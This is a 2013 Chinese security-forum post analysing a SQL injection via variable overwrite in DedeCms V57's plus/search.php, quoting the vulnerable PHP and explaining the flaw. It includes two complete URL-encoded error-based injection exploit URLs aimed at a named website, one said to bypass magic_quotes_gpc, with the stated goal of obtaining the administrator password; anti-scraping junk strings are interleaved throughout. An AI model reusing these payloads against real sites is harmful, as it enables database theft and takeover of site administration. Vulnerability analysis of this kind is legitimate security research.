中国网络渗透测试联盟
标题:
DedeCms V57 plus/search.php文件SQL注射
[打印本页]
作者:
admin
时间:
2013-1-19 08:18
标题:
DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
, b% Q/ U& O; e: `! ^' e T) s
作者:
c4rp3nt3r@0x50sec.org
- t$ O; Z& x1 @" L( Z$ E- E
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
5 j$ v& [% f) ^! k- K
( O2 e P9 ]* y9 U, _2 Q
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
$ B' V" u9 C& v; E _' _7 M
/ L, }/ |+ m$ |2 x) @
============
7 O. R& n$ f/ e1 {: t6 |' y4 U
9 H' ~3 [. M9 b4 ?3 U
. i( C. \6 S* E; D3 x
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
/ R& s& J l. a# w: ^# E9 n2 N
2 d3 R+ `, @) W( L$ i" c
require_once(dirname(__FILE__).”/../include/common.inc.php”);
: N) x9 [5 o) A* y! D2 U# i
require_once(DEDEINC.”/arc.searchview.class.php”);
" d# d' L& Y* r/ p1 T( F4 @0 o
8 ]9 @. b4 ]. o! |9 S8 R/ P! N) u/ ^
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
1 n, n5 K& C1 C, U. c- j$ s& ^) X
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
& \8 B5 g" a% P! R7 L" p" u& k0 ~4 N
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
' ^& P+ l+ A/ V
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
9 L T/ ?* c z s( |1 k
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
' _5 h7 e. K7 U0 t
# r3 T, v0 l) o/ {% y
if(!isset($orderby)) $orderby=”;
+ h3 ^# r+ d }! o4 S" {& \
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
* J8 b" E2 g$ e3 L
: v+ P( F% y: ~( x) N& S1 ~& H* j
7 X( F( i/ } m% V5 H
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
0 N8 |/ }. L& q9 q' _
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
5 o+ }2 I |& Z' N8 U9 c
; i) e' U( ?& n1 `; n
if(!isset($keyword)){
9 p$ k7 P3 a& L) s
if(!isset($q)) $q = ”;
, ?: o& I5 s( C) d+ b" N+ E
$keyword=$q;
$ g1 M1 O, v1 S7 b# F: }
}
: [8 J: w8 T1 ]. Q8 Z
/ K2 Y0 \& g6 O. V& ~& m
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
- h/ e* p- r2 @: z* |
5 H9 [* \( m1 t$ P7 C
//查找栏目信息
, F) y" ~. p5 z2 g4 z. A
if(empty($typeid))
0 _- \0 N6 f( L; c
{
: T; z& e3 Q8 {% O, S5 k
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
; a6 B4 O8 ?# ?! l( @$ {! Y7 S3 \
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
, I4 M4 y% h; D) o$ y$ m- y: l
{
; S) X) O0 V/ r" Z6 I/ N# g
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
- n$ H' y7 f J, l7 b7 u# ?) E5 b. E
fwrite($fp, “<”.”?php\r\n”);
! ~4 y/ N0 J+ V8 |
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
2 x: ?( ~8 N+ x s7 g
$dsql->Execute();
0 t, V, q- m! y3 w* W
while($row = $dsql->GetArray())
4 u$ `; m) Y# y3 U; D& J& l
{
/ Z: W3 T+ L$ F( g3 T
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
* i/ H' b' }' i& [, G; V
}
' u+ |5 N& ~! f$ n+ E
fwrite($fp, ‘?’.'>’);
) Z; d& O+ ^* a* v3 J0 Q& C
fclose($fp);
* ~$ }2 c# m3 H- b. l
}
# q7 Z, h! M$ `- ^ K6 }0 I9 J: U
//引入栏目缓存并看关键字是否有相关栏目内容
' D( J( N* t: s
require_once($typenameCacheFile);
5 C- ~$ {$ q" N
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
3 ^. \# c, w- t! q
//
4 z* f) i0 R/ f1 n
if(isset($typeArr) && is_array($typeArr))
& `* q5 e5 e7 y- s; a
{
+ w/ c* S% \' w3 e
foreach($typeArr as $id=>$typename)
& K6 }( R. D6 x6 J1 x9 ?
{
. ]- ?% e4 O: b% R% v, h" _: [
0 A$ z0 x: R- c1 M/ s
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
% @" h9 H+ l8 n/ d
if($keyword != $keywordn)
0 Y- @" e& \9 S& y* c
{
/ i) l* D9 Y4 \# I
$keyword = $keywordn;
3 d5 {% |2 \4 u" a* F
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
" G! D& V y, p5 ?! Y
break;
c" a4 p1 d* x3 T
}
" J! w- N1 ?3 ^( u; l8 s8 G9 W
}
2 \( Z5 N- Y. }7 a- n. T, R9 @
}
, {: z/ Y. V" p: ~& @1 d% R
}
7 @, v: _) T$ @, z( E0 i
然后plus/search.php文件下面定义了一个 Search类的对象 .
5 {, i9 F, O: \& s5 p' Y: @
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
! g4 f" d: ?1 d5 l
$this->TypeLink = new TypeLink($typeid);
7 m% |: G( v1 ^/ A
9 A6 e( R! k5 d1 e2 M
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
% O' ^6 Y3 H7 H1 O, {
) x5 e# l% b! o) G, V& d* f% j
class TypeLink
( e4 Q! Q6 q/ G# X. U) H# @ N: u
{
7 }7 Q& p( `0 q' D8 _* k7 z
var $typeDir;
$ n R0 W5 n, l S" N: h
var $dsql;
5 ~8 J0 y& I: Q) C$ Y
var $TypeID;
6 z: E% M8 J$ v" j2 n
var $baseDir;
5 W a1 X* n4 S1 U1 o0 Y# }5 u
var $modDir;
' H, r0 |; }, X, U# s% x
var $indexUrl;
" I$ F! p' ?/ Q3 P% V
var $indexName;
7 ^' K% |* V$ }/ f
var $TypeInfos;
1 B( ~- J8 D, @0 W) e9 H
var $SplitSymbol;
* ?+ `% y2 U: l3 A4 M" h
var $valuePosition;
0 H3 d. \1 k( J( {( u
var $valuePositionName;
$ B. ]6 p; l: `) V& f- b
var $OptionArrayList;//构造函数///////
8 |3 k; I1 `: h0 |- V/ P
//php5构造函数
1 V4 x+ x* m5 P7 j' C3 B0 M
function __construct($typeid)
9 f j1 E. k. `6 s* U+ m1 y
{
5 W, H9 ?5 C$ G, O0 Y/ R
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
+ H7 | N+ m+ F7 T$ b2 n
$this->indexName = $GLOBALS['cfg_indexname'];
1 R1 V7 h7 c; \! L- E
$this->baseDir = $GLOBALS['cfg_basedir'];
/ b- n/ s+ Y& R9 n7 K/ s
$this->modDir = $GLOBALS['cfg_templets_dir'];
$ J" {) D; C, u- _% I( v1 t1 H) d/ d4 \
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
; z7 a$ |* Q' _9 |. i/ v
$this->dsql = $GLOBALS['dsql'];
. }6 Y2 A' I0 t6 T
$this->TypeID = $typeid;
& e# k6 q+ C# d: E" i4 w$ [
$this->valuePosition = ”;
, V& c4 z& ?3 d) j6 `/ t U3 `
$this->valuePositionName = ”;
. @2 x; f* b5 x! V& T
$this->typeDir = ”;
, n3 {8 T7 H' q" \
$this->OptionArrayList = ”;
, K B4 P. B$ ^# I/ d) y
/ g/ H, {! p- P5 ~1 \
//载入类目信息
9 P* n% s1 Q2 v9 E4 W3 _
; l9 j3 d X1 d. h% b) S
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
5 m, P% R* F+ s, g" R! `
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
; V" c0 e# m1 n% R4 i6 R. N
`#@__channeltype` ch
* L5 P2 Z9 J, w n1 k
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
4 u4 P8 q3 f; N) p# P
2 A! Z# W9 }+ n0 L$ C
if($typeid > 0)
+ w+ ^5 p. l6 }! K+ H; H! V. S. D
{
; l8 k% M+ {, ~- Q
$this->TypeInfos = $this->dsql->GetOne($query);
3 L2 G- x9 [( l! z
利用代码一 需要 即使magic_quotes_gpc = Off
3 b; g8 M9 `4 e9 c3 d
8 E4 \9 c3 B; o( i: i; c; W( o- d& a
www.political-security.com
/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
( t" Y- S$ I8 n5 \! i) g
8 j3 A5 |7 r" l$ B2 B$ r" g% t9 Y
这只是其中一个利用代码… Search 类的构造函数再往下
5 c+ u, V" u2 X8 ]" _0 r4 w4 s
# X5 ~3 Y0 Q# O X4 o8 }0 Z+ S
……省略
; i7 l0 W5 z4 f- x
$this->TypeID = $typeid;
3 g8 r) o; v' S! D4 k
……省略
; b) p3 w& F$ `
if($this->TypeID==”0″){
+ T# W" s& J9 Q; p" P% Q- O% R4 V
$this->ChannelTypeid=1;
* W+ ~4 ^& y' G" [1 @. X$ l: u
}else{
% R8 h5 E; V4 W/ [( r" Q' t4 P, z: Z- I
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
+ ` U1 e( P7 T
//现在不鸡肋了吧亲…
( ?& G# f, O; b I P1 U) x* @
$this->ChannelTypeid=$row['channeltype'];
& X2 y% g3 I7 U" n2 I8 ~
+ a, o3 t, q8 O$ w4 u6 c
}
4 d3 x. @8 N/ {
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
/ s/ }/ r2 A/ E P) {/ ^0 P# w
3 R1 k7 D6 z. O& ^4 J" m
www.political-security.com
/plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
\( d+ s5 V& d$ T
7 b- [/ k3 ]7 \% N/ c7 ~, M t
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
. G0 Q, I" K+ s! U
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2